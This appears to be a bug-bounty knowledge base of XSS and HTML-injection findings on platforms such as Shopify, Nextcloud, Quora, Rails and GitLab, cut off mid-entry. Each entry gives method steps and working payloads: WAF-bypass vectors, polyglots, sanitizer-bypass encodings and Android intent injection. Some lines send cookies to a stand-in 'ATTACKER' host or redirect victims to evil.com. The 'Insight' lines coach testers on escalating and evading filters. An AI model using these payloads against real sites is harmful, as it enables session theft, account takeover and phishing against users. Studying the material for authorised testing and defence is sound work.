Insight — Native GUI clients (Qt QLabel/QML, Electron) frequently render server-controlled strings (filenames, usernames) as rich text/HTML; server -> client HTML injection is a real XSS/UI-spoofing surface, not just browsers.
Real-world example
Android exported WebView activity with html/url intent extras
◆ Low
Specimen #189793 · quora · awarded · 50 votes · resolved
Program quoraSurface mobile-androidChain local app -> exported activity -> WebView XSS -> JSTag file-upload
Root cause
Exported Activities (ContentActivity/ModalContentActivity/ActionBarContentActivity) load an intent-supplied `html` extra into a WebView running in the www.quora.com web origin, so any installed app can inject script into that origin.
Method
- Enumerate exported activities in AndroidManifest that take url/html/data extras and feed them to a WebView
- Launch the activity with a malicious html extra via adb or a second app
- Script runs in the app's web origin and reaches any @JavascriptInterface bridge (e.g. QuoraAndroid.getClipboardData)
adb shell am start -n com.quora.android/com.quora.android.ActionBarContentActivity -e url 'http://test/test' -e html 'XSS<script>alert(document.domain)</script>'
# JSBridge reach:
am start -n com.quora.android/com.quora.android.ModalContentActivity -e url 'http://x' -e html '<script>alert(QuoraAndroid.getClipboardData());</script>'
// From another app:
Intent i = new Intent();
i.setComponent(new ComponentName("com.quora.android","com.quora.android.ActionBarContentActivity"));
i.putExtra("url","http://x"); i.putExtra("html","<script>alert(123)</script>");
startActivity(i);
Insight — On Android, decompile the manifest for exported=true activities that render a WebView from intent extras (html/url/data); such extras are XSS sinks in the app's web origin and expose addJavascriptInterface bridges (and RCE on Android <=4.2).
Real-world example
Rails translate() _html key auto-marks html_safe (framework XSS)
◆ Low
Specimen #2303609 · rails · none · 50 votes · resolved
Program railsSurface webTag account-takeover
Root cause
Action Controller's translate/t builds an I18n error/default string and, when the key ends in _html, marks the whole result html_safe without escaping the key value or the default, so untrusted input reaches HTML unescaped (regression of CVE-2020-15169 on the controller side).
Method
- Find a controller passing user input into t()/translate
- Supply a missing key ending in _html containing markup, or a _html key whose default is attacker-influenced
- Rendered @message is html_safe -> script executes
# missing-key vector:
/articles/missing_key?text=%3Cscript%3Ealert(location)%3C/script%3E_html
# controller code:
@message = t(params[:text]) # key ends in _html -> html_safe error string
@message = t("message_html", default: "<script>alert(location)</script>")
Insight — Any i18n key suffixed _html is treated as trusted HTML by Rails html_safe_translation. Grep controllers/views for t(...) fed by params, especially dynamic keys or defaults, and confirm the framework version (7.0/7.1 affected, 6.1 not).
Real-world example
Reflected XSS at auth endpoint via </noscript> context break
◆ Low
Specimen #569241 · shopify · none · 48 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The shop parameter on app.oberlo.com/auth is reflected inside a <noscript> block without encoding; closing the </noscript> tag escapes the raw-text context and lets an img/onerror payload execute.
Method
- Locate a param reflected inside a raw-text element (noscript/title/textarea)
- Close that element then inject an event-handler tag
https://app.oberlo.com/auth?shop=%3C/noscript%3E%3Cimg%20src=x%20onerror=prompt(document.domain)%3E
Insight — Reflections inside <noscript>/<title>/<textarea> need the closing tag to break out; </noscript> is a reliable context-break for values placed in noscript fallbacks. Auth endpoints amplify impact (token/cookie theft).
Real-world example
Stored XSS via collaborative-editor display name
◆ Low
Specimen #968232 · nextcloud · none · 48 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The user's display name is rendered unsanitized when they join a shared document in the Collabora editor, so an attacker sets an HTML display name and fires XSS for any co-editor.
Method
- Set account display name to an img/onerror payload
- Share a document with the victim so it auto-appears in their files
- When both open the document, the attacker's name renders and executes
<img src=a onerror=alert(window.parent.location)>
Insight — In collaborative/real-time apps, participant display names, cursors and presence labels are stored-XSS sinks rendered into other users' DOM - test the name field, not just document content.
Real-world example
Stored XSS via HTML file attachment in email-template designer
◆ Low
Specimen #591786 · shopify · 500 · 43 votes · resolved
Program shopifySurface webTag file-upload
Root cause
A file-attachment feature stored an uploaded HTML file and served it inline; opening the attachment renders attacker HTML/JS in the app origin.
Method
- Open the email-template / custom-template designer that supports 'attach file'
- Upload an .html file whose body contains an XSS payload
- Right-click the stored attachment and open it in its stored location
- Payload executes in the services.shopify.com origin
<html><body><script>alert(document.domain)</script></body></html>
Insight — Any feature that lets you attach/upload an .html/.svg file AND serves it inline (no Content-Disposition: attachment, no sandbox) is a stored-XSS sink. Always test opening the raw stored file.
Real-world example
XSS on privileged about:tbupdate page via javascript: link
◆ Low
Specimen #253076 · torproject · 100 · 43 votes · resolved
Program torprojectSurface web
Root cause
The privileged about:tbupdate page took a URL from the query string and placed it into the 'visit our website' link href without scheme validation, allowing a javascript: URI to run in a privileged browser context.
Method
- Navigate to about:tbupdate?javascript:alert(1)
- Click the 'visit our website' link
- javascript: URI executes in the privileged about: page context
about:tbupdate?javascript:alert(1)
Insight — Browser-internal privileged pages (about:*, chrome://) that reflect a URL parameter into a link/href are high-value: XSS there runs with elevated privileges. Test scheme handling on any internal page that echoes a URL.
Real-world example
javascript:// URL-validation bypass via authority + comment
◆ Low
Specimen #212721 · security · 750 · 42 votes · resolved
Program securitySurface web
Root cause
A preview endpoint validated a Base URL, then reflected it into an <a href>. Using javascript://alert();%2f%2f@ passes the validator (looks like a URL with host) but browsers treat // as a JS comment, so the link executes JS when clicked.
Method
- Set the Base URL field to javascript://alert(document.domain);%2f%2f@
- Submit to the /preview endpoint which builds an escalation-URL link
- Click the generated link -> JS runs (in browsers without CSP, e.g. IE11)
javascript://alert(document.domain);%2f%2f@/secure/CreateIssueDetails!init.jspa?...
Insight — To smuggle a javascript: URI past URL validators, add an authority and use // as a line comment: javascript://comment%0aPAYLOAD or javascript://host@... . Test this on any field validated as a URL then rendered into href.
Real-world example
POST-based reflected XSS delivered via auto-submitting HTML form
◆ Low
Specimen #1040533 · automattic · awarded · 42 votes · resolved
Program automatticSurface web
Root cause
An AJAX endpoint (ajax.php) reflects the POST 'txt' parameter unescaped; because it is POST-based it is exploited by hosting an auto-submitting cross-site form.
Method
- Find the reflected POST parameter (txt)
- Build an HTML page with a hidden form that POSTs the payload to the endpoint and auto-submits
- Victim visits the page; form submits and XSS reflects
azertyuiop<<><img+src="x"/onerror="prompt(document.cookie)">
Insight — Reflected XSS in a POST body is still exploitable cross-site: deliver with a hidden auto-submitting <form method=post>. Don't dismiss a sink just because it needs POST.
Real-world example
HTML injection in transactional emails via unsanitized name fields (trusted-sender phishing)
◆ Low
Specimen #1374017 · security · awarded · 40 votes · resolved
Program securitySurface web
Root cause
User-supplied profile fields (first/last name from a public application form) are reflected into HTML emails sent by the platform without sanitization, letting an attacker inject arbitrary HTML into a mail that legitimately originates from the trusted domain.
Method
- Find a form whose name fields feed a transactional email (application, invite, notification)
- Put HTML in the name field and the victim's address as recipient
- Submit; the victim receives a platform-signed email containing attacker HTML
First name: "><h1>You have a reward - click here</h1><a href="https://attacker.example">Verify account</a>
Insight — Any field that flows into an outbound email body is an HTML-injection sink; because the email is DKIM-signed by the real domain it is high-credibility phishing. Test invite/application/notification flows where attacker controls a name/subject and can set an arbitrary recipient.
Real-world example
Shopify Buy Button stored XSS via currency HTML-formatting setting
◆ Low
Specimen #397088 · shopify · 500 · 39 votes · resolved
Program shopifySurface web
Root cause
The store 'currency formatting / HTML with currency' setting is stored and rendered unescaped in the Buy Button sales channel, so a payload in the currency template executes there.
Method
- Settings > General > Store currency > Change formatting
- Set 'HTML with currency' to a payload including the amount token
- Open the Buy Button channel where the currency is rendered -> XSS
€{{amount}} "><img src=x onerror=prompt(document.domain)>
Insight — Admin-configurable format/template strings (currency format, date format, email templates) are stored-XSS sinks that render across channels/widgets. Test every 'HTML' formatting option for injection, especially where staff-set values render to other users.
Real-world example
Shopify rich-text/code-editor copy-paste stored XSS
◆ Low
Specimen #738072 · shopify · USD 500 · 35 votes · resolved
Program shopifySurface web
Root cause
Rich-text editors with an HTML 'code' view store attacker HTML that is sanitized on normal render but re-executed when the raw markup is copied out of one editor and pasted into another editor/field that renders it unsanitized.
Method
- Enter img/onerror HTML into an object name or the editor's HTML/code mode
- Copy the rendered fragment from the editor
- Paste it into another rich editor/comment field where it is stored and rendered without re-sanitization
- Payload fires for the next viewer (e.g. admin)
'"'><img src=x onerror=alert(document.domain)>
Insight — WYSIWYG/code editors that round-trip HTML through the clipboard are a recurring stored-XSS sink; test copy-from-one-field, paste-into-another across the same app. Sanitization applied at input often is not re-applied on paste.
Real-world example
DOM XSS via postMessage into embedded-app modal src
◆ Low
Specimen #602767 · shopify · USD 500 · 34 votes · resolved
Program shopifySurface web
Root cause
A postMessage handler (Shopify.API.Modal.initialize) takes an attacker-supplied data.src and uses it to open/navigate a frame without origin/scheme validation, so a javascript: URL executes in the admin/app origin.
Method
- Open the target app/admin page in a controlled window
- postMessage a JSON message matching the handler's expected shape but with data.src = javascript:...
- Loop the message until the app initializes and consumes it
const ctx = window.open(location.origin+'/admin/themes','_blank');
ctx.postMessage(JSON.stringify({message:'Shopify.API.Modal.initialize',data:{src:'javascript:alert(document.cookie)'}}));
Insight — Enumerate window.postMessage listeners and trace message.data fields into navigations/DOM sinks (location, iframe.src, innerHTML). Missing origin checks + a src taken from the message = cross-origin DOM XSS. javascript: URLs are the payload when a src field is controllable.
Real-world example
Reflected XSS via multi-context polyglot payload
◆ Low
Specimen #1145712 · acronis · awarded · 33 votes · resolved
Program acronisSurface web
Root cause
The b parameter is reflected and a single polyglot payload escapes multiple possible contexts (title/textarea/script and attributes) at once, landing an autonomous event handler that fires without user interaction.
Method
- Send a polyglot probe in a reflected parameter to cover unknown output context
- Confirm which context it broke out of via the rendered source
- Rely on the ontoggle/Details auto-trigger so no interaction is needed
https://TARGET/path?b='"1<!--></Title/</Textarea/</Script/><Details/Open/OnToggle=(confirm)(1)>
Insight — When you cannot see the output context, a polyglot that closes </title></textarea></script> and opens <details open ontoggle> tests many sinks in one shot; <details open ontoggle> and <svg onload> are reliable auto-executing gadgets.
Real-world example
Rails i18n translate() XSS via _html key with untrusted :default
◆ Low
Specimen #2520694 · ibb · 1068 · 32 votes · resolved
Program ibbSurface web
Root cause
Rails translation helpers (translate/t) auto-mark output html_safe when the key ends in _html. If the :default value contains untrusted user input and the key ends in _html, that input is rendered without escaping in the view (CVE-2024-26143).
Method
- Find a view/controller calling t/translate with a key ending in _html
- Supply user input that flows into the :default of that translation
- Input is emitted html_safe -> XSS
# vulnerable pattern
t("user.greeting_html", default: params[:name]) # params[:name] rendered unescaped
Insight — On Rails apps, grep for translation keys ending in _html and trace their :default/interpolation values. The _html suffix is an implicit html_safe and a recurring XSS sink.
Real-world example
Whitelist HTML injection -> phishing via reflected name fields
◆ Low
Specimen #2076019 · linkedin · awarded · 31 votes · resolved
Program linkedinSurface web
Root cause
Company/product name fields pass through a tag-whitelist sanitizer that still permits <a>, <strong>, <em>, lists, etc.; the stored name is reflected into the Lead Gen / Contact-Sales form and into transactional emails, enabling anchor-based phishing/malware links even though <script> is blocked.
Method
- Create a company/product and set its name to a whitelisted-HTML payload
- Proceed to the Contact-Us / Lead Gen form for that entity
- The injected HTML renders in the form (and in outbound emails)
<a href="https://malicious-site.com">Click me!</a>
<strong>Update your billing</strong>
Insight — A sanitizer that strips <script> but allows <a>/<strong>/<img> is still a phishing/defacement primitive; and identity fields (name, company, product) are second-order sinks that surface in unexpected pages and emails. Always test whitelisted tags for anchor injection and check where the value is re-rendered.
Real-world example
Rails CSP directive injection from untrusted input (CVE-2024-54133)
◆ Low
Specimen #2905532 · ibb · awarded · 30 votes · resolved
Program ibbSurface web
Root cause
Rails' content_security_policy helper built the CSP header from values including untrusted user input without neutralizing separators, letting crafted input inject new directives into the Content-Security-Policy header and weaken/bypass the CSP (CVE-2024-54133).
Method
- Find an app that sets CSP dynamically from user input via the content_security_policy helper
- Inject a value containing CSP separators (; ) to append attacker directives
- Injected directives relax the policy -> XSS protections bypassed
# user input reflected into a CSP source list, e.g.
# value = "example.com; script-src 'unsafe-inline'"
Insight — Dynamically-built CSP headers are themselves an injection surface: if any directive value derives from user input without sanitization, you can inject new directives (script-src 'unsafe-inline', etc.) and neutralize the CSP. Audit CSP builders like any header sink.
Real-world example
Stored HTML injection via display name -> meta refresh redirect
◆ Low
Specimen #2210038 · nextcloud · awarded · 29 votes · resolved
Program nextcloudSurface web
Root cause
Circle display name rendered unescaped in the search/share UI; even without JS exec an injected <meta http-equiv=refresh> forces navigation to an attacker site.
Method
- Create a Circle whose name contains an HTML meta-refresh tag
- Share it with a higher-priv user; their Files>Shared-with-Circles view redirects
<meta http-equiv="refresh" content="2; https://evil.com/" />
Insight — If script is stripped/CSP-blocked, HTML injection still yields impact via meta refresh, dangling markup, or phishing links. Test identity/display-name fields rendered across other users' UIs.
Real-world example
Reflected XSS in error message via null-byte + unescaped path param
◆ Low
Specimen #216812 · nextcloud · USD 450 · 28 votes · resolved
Program nextcloudSurface web
Root cause
Error messages echoed request params (dir) without escaping; a null byte in files triggers the error path where dir is reflected into HTML.
Method
- Hit an endpoint that errors and echoes params
- Use %00 to force the error branch and inject markup via the reflected dir param
https://nextcloud-site/index.php/apps/files/ajax/download.php?files=%00&dir=</p>HTMLCODE
Insight — Error/exception handlers are a rich reflected-XSS surface: force an error (null byte, bad type) and check whether request params are echoed unescaped into the error page.
Real-world example
Blind stored XSS in iOS app WebView via shared HTML file
◆ Low
Specimen #575562 · nextcloud · USD 100 · 28 votes · resolved
Program nextcloudSurface mobile-ios
Root cause
Native iOS app renders shared user content in a WKWebView with javaScriptEnabled, so a shared malicious HTML file executes JS in-app.
Method
- Upload/share a malicious HTML file to the victim
- When the victim opens it in the app WebView, JS runs and beacons out device info
<html><script>new Image().src='http://ATTACKER/?d='+document.cookie</script></html> (HTML file shared to victim)
Insight — Mobile app WebViews rendering shared/user files are a blind-XSS surface; disable JS (javaScriptEnabled=false) or sanitize. Use a beacon payload to catch delayed/blind triggers (IP, UA, location).
Real-world example
DOM XSS via innerHTML template replace()
◆ Low
Specimen #341969 · ed · none · 28 votes · resolved
Program edSurface web
Root cause
Client-side templating writes user input into document.body.innerHTML via string .replace() of a {{placeholder}}, re-parsing the DOM with attacker markup.
Method
- Find a client template doing body.innerHTML = body.innerHTML.replace('{{x}}', userValue)
- Supply markup as the value; needs interaction (clickjack to auto-trigger)
<img src=x onerror=alert(document.domain)> (fills a {{triager}} placeholder written back via innerHTML)
Insight — Any assignment to innerHTML from user data -- especially .replace() templating -- is a DOM-XSS sink; fix is textContent/innerText. Combine with clickjacking when a submit is required.
Real-world example
Reflected HTML injection -> XSS with WAF-bypass event/backtick payload
◆ Low
Specimen #743345 · eternal · 150 · 26 votes · resolved
Program eternalSurface web
Root cause
User input is reflected unescaped into the HTML response; a WAF blocked common XSS vectors but was bypassed using a less-filtered SVG element, an uncommon event handler (onauxclick), and backtick function-call syntax.
Method
- Confirm reflected HTML injection (tag/attribute breakout)
- If a WAF blocks onclick/onload/alert(), switch to rare handlers (onauxclick) and backtick calls (confirm``)
- Use SVG wrappers to evade tag blocklists
"><svg height="1000" width="1000" onauxclick=confirm`12233`> <circle cx="500" cy="500" r="400" fill="red" /> </svg>
Insight — When a WAF blocks the obvious XSS, pivot to uncommon event handlers (onauxclick/onpointerenter), backtick tagged-template calls to avoid parentheses, and large SVG overlays to guarantee the event fires - reflected HTML injection is worth escalating to XSS before writing it off.
Real-world example
XSS via outdated PDF.js viewer (CVE-2018-5158)
◆ Low
Specimen #819863 · nextcloud · USD 100 · 26 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
The app bundles a vulnerable PDF.js version; a crafted PDF exploiting CVE-2018-5158 runs arbitrary JS in the viewer's origin when opened.
Method
- Fingerprint the in-app PDF viewer / PDF.js version
- Upload/share a malicious PDF carrying the CVE-2018-5158 payload
- Victim opens it in the built-in viewer -> JS executes in app origin
Malicious PDF from bugzilla.mozilla.org id=1452075 (CVE-2018-5158 PDF.js JS injection)
Insight — Client-side document viewers (PDF.js, office/image parsers) are XSS surfaces via known CVEs -- version-check bundled libraries and test file-upload+in-app-view flows with public PoC files.
Real-world example
Stored XSS via SVG upload (whitelist allows .svg)
◆ Low
Specimen #437863 · concretecms · none · 26 votes · resolved
Program concretecmsSurface webTag file-upload
Root cause
The upload extension whitelist permits .svg. SVG can embed HTML/script elements, so a browser rendering the uploaded SVG directly executes the JavaScript in the same origin.
Method
- Craft an SVG containing an embedded <script>
- Upload it through the File Manager (passes the extension whitelist)
- Access/embed the stored SVG path directly to execute the script
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 105">
<html><head><title>test</title></head><body><script>alert('xss');</script></body></html>
</svg>
Insight — An extension/MIME whitelist that allows image/svg+xml is an XSS sink whenever the file is served inline; upload SVG with <script> or event handlers and open it directly.
Real-world example
DOM XSS via vsid parameter into a JS string context
◆ Low
Specimen #1452149 · jetblue · none · 26 votes · resolved
Program jetblueSurface web
Root cause
The vsid parameter value flows into a JavaScript string that is later evaluated; closing the string and statement lets an attacker inject arbitrary JS.
Method
- Locate the vsid parameter reflected into inline JS
- Break out of the string with '); and comment out the remainder
- Deliver the crafted URL
#');alert(1);//
Insight — When a URL/hash parameter is concatenated into a JS string or passed to a sink like eval/setTimeout, the ');// break-out pattern confirms DOM XSS; test hash-based params which server-side WAFs never see.
Real-world example
Camo/image-proxy bypass via CSS escape sequences
◆ Low
Specimen #745953 · chaturbate · awarded · 25 votes · resolved
Program chaturbateSurface web
Root cause
User HTML in bio fields has image URLs rewritten to an internal proxy, but the sanitizer's CSS url() detector does not decode CSS escape sequences. Writing url() with an escaped letter (u\72l) evades detection, so the raw external URL survives and the browser still fetches it.
Method
- Insert a style with background:url() pointing to an external host in a bio field
- Encode a letter of 'url' as a CSS hex escape so the parser misses it
- Save and inspect: the URL was not rewritten to the proxy and is fetched directly
<span style="background:u\72l(http://foo.com/bar)">XX</span>
Insight — To bypass sanitizers that keyword-match CSS/HTML tokens (url, expression, javascript), use CSS hex escapes (\72 = r, optional trailing space) - browsers resolve them but naive string parsers don't. General primitive for defeating url()/proxy rewriters and CSS filters.
Real-world example
Reflected XSS via Referer header reflected into inline JS
◆ Low
Specimen #297203 · semrush · awarded · 25 votes · resolved
Program semrushSurface web
Root cause
The Referer HTTP header value is copied into the application's immediate response inside a JavaScript string context without escaping, allowing string breakout and code execution.
Method
- Send a request whose Referer contains a JS-string breakout marker
- Observe the marker reflected inside inline JS
- Craft '+alert(1)+' style payload to execute
Referer: http://www.google.com/search?hl=en&q=c5obc'+alert(1)+'p7yd5
Insight — Headers (Referer, User-Agent, X-Forwarded-*) are commonly reflected into analytics/inline scripts; fuzz them with a '+...+' JS-string canary, not just URL params.
Real-world example
Reflected XSS via URL path segment on an API/report endpoint
◆ Low
Specimen #491023 · semrush · awarded · 25 votes · resolved
Program semrushSurface web
Root cause
A path segment of the my_reports API URL is reflected into an HTML attribute in the dashboard response; %22%3E breaks out of the attribute and injects an img/onerror.
Method
- Insert an encoded attribute-breakout payload into the path segment
- Load the crafted URL while authenticated
- img onerror fires with document.cookie
https://TARGET/my_reports/api/v1/document%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E/4007861
Insight — Reflection sinks are not only query params - path segments echoed into attributes are exploitable; test /path/<INJECT>/ with %22%3E to escape attribute context.
Real-world example
Persistent XSS via git branch name in notification email
◆ Low
Specimen #496973 · gitlab · awarded · 24 votes · resolved
Program gitlabSurface webTag webhook
Root cause
Git branch/ref names may contain <>/" characters; the name is interpolated into an HTML notification email template without escaping, so a crafted branch name executes as HTML/JS in the mail client and, more importantly, uses GitLab's trusted name for phishing.
Method
- Fork a public repo and create a branch named <script>alert(1)</script> (UI create-branch blocks this, but git client or the new-file 'target branch' field does not)
- Open a merge request from that branch to the upstream repo and assign a maintainer/reviewer as recipient
- Recipient receives the notification email; the branch name is rendered as HTML
git push origin HEAD:'<script>alert(1)</script>'
Insight — Any user-controlled VCS identifier (branch, tag, ref, commit author) that ends up in an HTML email or web notification is an injection sink. Bypass UI validation by using the raw git protocol or an alternate field (new-file target branch) that skips the client-side check.
Real-world example
DOM XSS via document.referrer-controlled script load
◆ Low
Specimen #982442 · acronis · awarded · 24 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
A marketing page uses document.write inside try/catch to load a script whose path/host is derived from document.referrer. An attacker who frames the page controls document.referrer, causing the page to load /marketo/common.js from the attacker's origin and run arbitrary JS.
Method
- Find document.write statements that build a <script> src from document.referrer (view-source, grep for document.write / document.referrer)
- Host a page that serves /marketo/common.js with attacker JS
- Embed the victim page in an iframe on that host so document.referrer points to the attacker
- Victim page loads attacker common.js and executes it
<iframe src="https://promo.TARGET.com/GL-Trial-MassTransit.html"></iframe>
<!-- attacker host serves /marketo/common.js with: alert(document.domain) -->
Insight — document.referrer is attacker-controllable via framing/redirects; any script src, fetch URL, or base path built from it is a DOM sink. Grep pages for document.referrer + document.write/createElement('script').
Real-world example
Persistent XSS via filename echoed on hover
◆ Low
Specimen #662204 · nextcloud · USD 150 · 23 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
A shared file's name is echoed without encoding when hovering over it in the projects tab of a Talk conversation, giving stored XSS in the victim's session (CVE-2019-15619).
Method
- Create a file named with an XSS payload and share it with the victim
- Create a conversation, add the victim, and link the file as a project
- Victim opens the conversation and hovers over the file to trigger the payload
test'"><img src=x onerror=alert(document.location)>.txt
Insight — Filenames are user-controlled strings that surface in many UI contexts (lists, tooltips, share dialogs, hover cards). Any place a filename is rendered without encoding is an XSS sink; hover/title rendering is an easy-to-miss one.
Real-world example
XSS via outdated Swagger UI rendering attacker spec
◆ Low
Specimen #418823 · eternal · USD 100 · 23 votes · resolved
Program eternalSurface webTag account-takeover
Root cause
An old Swagger UI build renders fields from a user-supplied OpenAPI/Swagger spec (e.g. definition property names) without sanitization. Pointing the docs page at an attacker-hosted spec that embeds <script> in a field yields XSS.
Method
- Host a Swagger/OpenAPI JSON with a payload in a field (e.g. a definition key like photoUrls<script>alert(document.cookie)</script>)
- Load the target's Swagger UI documentation page pointed at that spec URL
- Swagger UI renders the field and executes the script
"photoUrls<script>alert(document.cookie)</script>":{"type":"array","items":{"type":"string"}}
Insight — API doc renderers (Swagger UI, Redoc) that accept a url= spec parameter and run an outdated version are reflected/DOM XSS sinks. Check the version string and whether the spec URL is user-controllable; property names and descriptions are unescaped in old builds.
Real-world example
Stored XSS via mutation polyglot + import() of data: JS module
◆ Low
Specimen #2111291 · mozilla · awarded · 23 votes · resolved
Program mozillaSurface webChain Non-admin stored comment -> admin edits -> XSS in admiTag account-takeover
Root cause
Bugzilla's comment-edit rendering path re-parses stored comment HTML differently from the display path; a mutation-XSS polyglot that closes many contexts and uses <image onerror> with a dynamic import() of a base64 data:application/javascript module executes when an admin edits the comment (non-admin -> admin escalation).
Method
- Post a comment containing the polyglot payload as a normal user
- When an admin opens the comment for editing, the mutated markup executes
- import() pulls a base64 data: JS module to run the actual code
</base</sTyle/</scRIpt/</textArea/</noScript/</tiTle/--><h1/<h1><image/onerror="import('data:application/javascript;charset=utf-8;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=')//'"src><script>
Insight — A context-closing polyglot (</style></script></textarea></noscript></title>...) maximizes the chance the payload lands in an executable context after re-parsing (mutation XSS on edit/preview paths). import('data:application/javascript;base64,...') runs arbitrary JS from a single attribute and is handy against some CSP/quote restrictions.
Real-world example
Stored XSS via unencoded email sender-name settings
◆ Low
Specimen #3399218 · revive_adserver · none · 22 votes · resolved
Program revive_adserverSurface web
Root cause
Attacker-controlled email_fromName / email_fromCompany settings values are persisted and later rendered to admin pages without output encoding, allowing stored JavaScript execution (CVE-2025-52666).
Method
- Authenticate to admin account-settings-email.php
- Save a JS payload into email_fromName and email_fromCompany
- Payload executes when the settings value is rendered on any page (admin context)
POST /www/admin/account-settings-email.php
email_fromName=<script>...</script>
email_fromCompany=<script>...</script>
Insight — Admin 'sender identity' / email-config fields are frequently echoed back into HTML previews and templates without encoding - test every persisted config string that is later displayed, not just obvious comment/name fields.
Real-world example
URI-validator bypass via entity-encoded control-char-split javascript: scheme
◆ Low
Specimen #3601655 · rails · none · 22 votes · resolved
Program railsSurface webTag cors
Root cause
rails-html-sanitizer/Loofah allowed_uri? strips literal control chars BEFORE HTML-entity decoding, so an entity-encoded control char inside the scheme (java script:) survives validation and returns true, while browsers normalize it to an executable javascript: URL.
Method
- Find app code that validates a user URL with Rails::HTML::Sanitizer.allowed_uri? then renders it into href
- Supply java script:alert(1) (or /	 variants)
- allowed_uri? returns true; browser strips the control char and executes on click
java script:alert(1)
java script:alert(1)
jav	ascript:alert(1)
Insight — Order-of-operations bugs in sanitizers (strip-then-decode vs decode-then-strip) are a reliable filter-bypass class. For any scheme allowlist, try splitting the scheme with encoded control chars (\t \n \r as 	/ / ), NBSP, and : for the ':'. Browsers normalize; validators often don't.
Real-world example
HTML/CSS injection in email field rendered on packing slips
◆ Low
Specimen #1087122 · shopify · USD 900 · 22 votes · resolved
Program shopifySurface webChain HTML/CSS injection in email -> forged packing slip ->
Root cause
An RFC-3696-valid email address may contain quoted markup; when a store's packing-slip template displays the customer email, the injected <style>/HTML is rendered on the printed slip, and CSS (content:, font-size:0) can alter displayed quantities/items — a business-impact HTML injection into an offline document.
Method
- Set a packing-slip template that shows the customer email in billing/checkout info
- Check out using an email whose local part is a quoted <style> block
- The printed/bulk-printed slip renders the CSS, altering the shown quantity (e.g. 1 -> 1337)
"<style>.flex-line-item-quantity>p{font-size:0}.flex-line-item-quantity:after{content:'1337\0000a0of\0000a01337';margin-left:420px;}</style>"@gmail.com
Insight — Injection sinks are not only browsers: fields rendered into printed documents, PDFs, emails, or admin exports accept HTML/CSS too. Quoted-string email local parts are a sneaky vector for smuggling markup past 'is this a valid email' checks. CSS alone (content:, font-size:0) can forge document contents for real-world fraud.
Real-world example
Stored XSS via SVG uploaded as image and served inline
◆ Low
Specimen #894876 · nextcloud · USD 100 · 22 votes · resolved
Program nextcloudSurface webTag file-uploadTag account-takeover
Root cause
An SVG file uploaded as a contact/profile image is stored and served inline with an image content-type; because SVG is an XML/HTML document, opening it directly (Open image in new tab) executes its embedded <script>/onload, giving stored XSS on the app origin (CVE-2020-8281; bypass of #808287).
Method
- Upload a malicious SVG (with onload/script) as a contact image
- Click the image so it opens as a modal, then 'Open image in new tab' (Chrome/Chromium)
- The SVG is served on the app origin and its script executes
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><script>alert(document.domain)</script></svg>
Insight — Image-upload endpoints that accept SVG and serve it inline (not as attachment, no CSP/sandbox, no content-type override) are stored-XSS sinks the moment the file is opened directly. Also works as open redirect via onload=window.location. Always test SVG where PNG/JPG are expected; direct-open/new-tab is the trigger.
Real-world example
User content reflected into a javascript: event handler (quote breakout)
◆ Low
Specimen #258876 · quora · awarded · 21 votes · resolved
Program quoraSurface web
Root cause
A stored value (question title) is concatenated into a javascript: window.open(...) href of a share button; embedding a double-quote breaks out of the JS string and injects arbitrary code that runs on click.
Method
- Create content whose title contains a JS-string breakout
- View the embed/share widget that builds a javascript: href from that title
- Click the share button to execute
Question ignore "-alert(document.domain)-"?
Insight — When user content lands inside an inline javascript: handler or onclick that builds a string, use "-alert(1)-" or '-alert(1)-' to break the string and execute. Share/tweet/mailto builders are common sinks.
Real-world example
Browser-extension innerHTML template-injection sink
◆ Low
Specimen #1874260 · security · none · 21 votes · resolved
Program securitySurface web
Root cause
A Chrome extension builds a modal by assigning modalElement.innerHTML from an HTML template with unsanitized .replace() interpolation of a page-controlled handle (from the subject URL param) and questionnaire responses.
Method
- Identify an extension that injects DOM built from page/URL-controlled values
- Control the interpolated value (e.g. subject= param that becomes {{handle}})
- Payload is written into the extension-built innerHTML on the trusted origin
visit https://hackerone.com/reports/ID?subject=<img src=x onerror=alert(1)>&/bugs=1 -> handle interpolated into modalElement.innerHTML via triageQuestionnaireHTML.replace("{{handle}}", handle)
Insight — Browser extensions that use innerHTML with string .replace() templating trust page-controlled data and run in the visited site's context. Audit content scripts for innerHTML/insertAdjacentHTML fed by URL params or DOM values; sanitize or use textContent.
Real-world example
DOM XSS in admin via Shopify.API pushState/replaceState postMessage
◆ Low
Specimen #883867 · shopify · 500 · 21 votes · resolved
Program shopifySurface webChain postMessage -> Shopify.API.replaceState -> DOM injectiTag account-takeover
Root cause
An admin embed listens for postMessage events invoking Shopify.API.replaceState/pushState and uses the attacker-supplied pathname to navigate/inject without validating it, enabling script execution / page injection in the authenticated admin.
Method
- window.open the admin origin in a controlled tab
- postMessage a JSON message {message:'Shopify.API.replaceState', data:{pathname:'abc:d../pages/xss#//'}}
- Crafted pathname is used unsafely by the client router
const ctx = window.open(location.origin+'/admin/themes','_blank');
ctx.postMessage(JSON.stringify({message:'Shopify.API.replaceState', data:{pathname:'abc:d../pages/xss#//'}}));
Insight — postMessage handlers that feed history.pushState/replaceState or router navigation with attacker pathname are DOM-XSS sinks. Test scheme-like and traversal pathnames; fixes to blacklist one payload are often bypassable with a new pathname shape.
Real-world example
Reflected XSS via WordPress admin-ajax.php action parameter
◆ Low
Specimen #415139 · upserve · awarded · 20 votes · resolved
Program upserveSurface web
Root cause
A WordPress AJAX action handler (admin-ajax.php?action=load_player) reflects the video_id parameter into its HTML response without encoding, allowing attribute/tag breakout.
Method
- Capture the site's admin-ajax.php AJAX call that renders a component
- Replace the id/param value with an XSS payload
- Load the response in the browser
https://theacademy.upserve.com/wp-admin/admin-ajax.php?action=load_player&video_id=r"><BODY%20ONLOAD=alert(1)>&player_id=...
Insight — WordPress admin-ajax.php action endpoints frequently echo request params into HTML fragments. Enumerate action= handlers (load_player, get_*, render_*) and fuzz their params for reflected XSS.
Real-world example
Stored XSS in CMS select-attribute options, unauth-reachable via public form
◆ Low
Specimen #753567 · concretecms · none · 20 votes · resolved
Program concretecmsSurface web
Root cause
Select-attribute option values (type_form.php) are rendered without escaping; when the attribute is bound to a public Express Form that 'allows users to add to this list', an unauthenticated user can store XSS.
Method
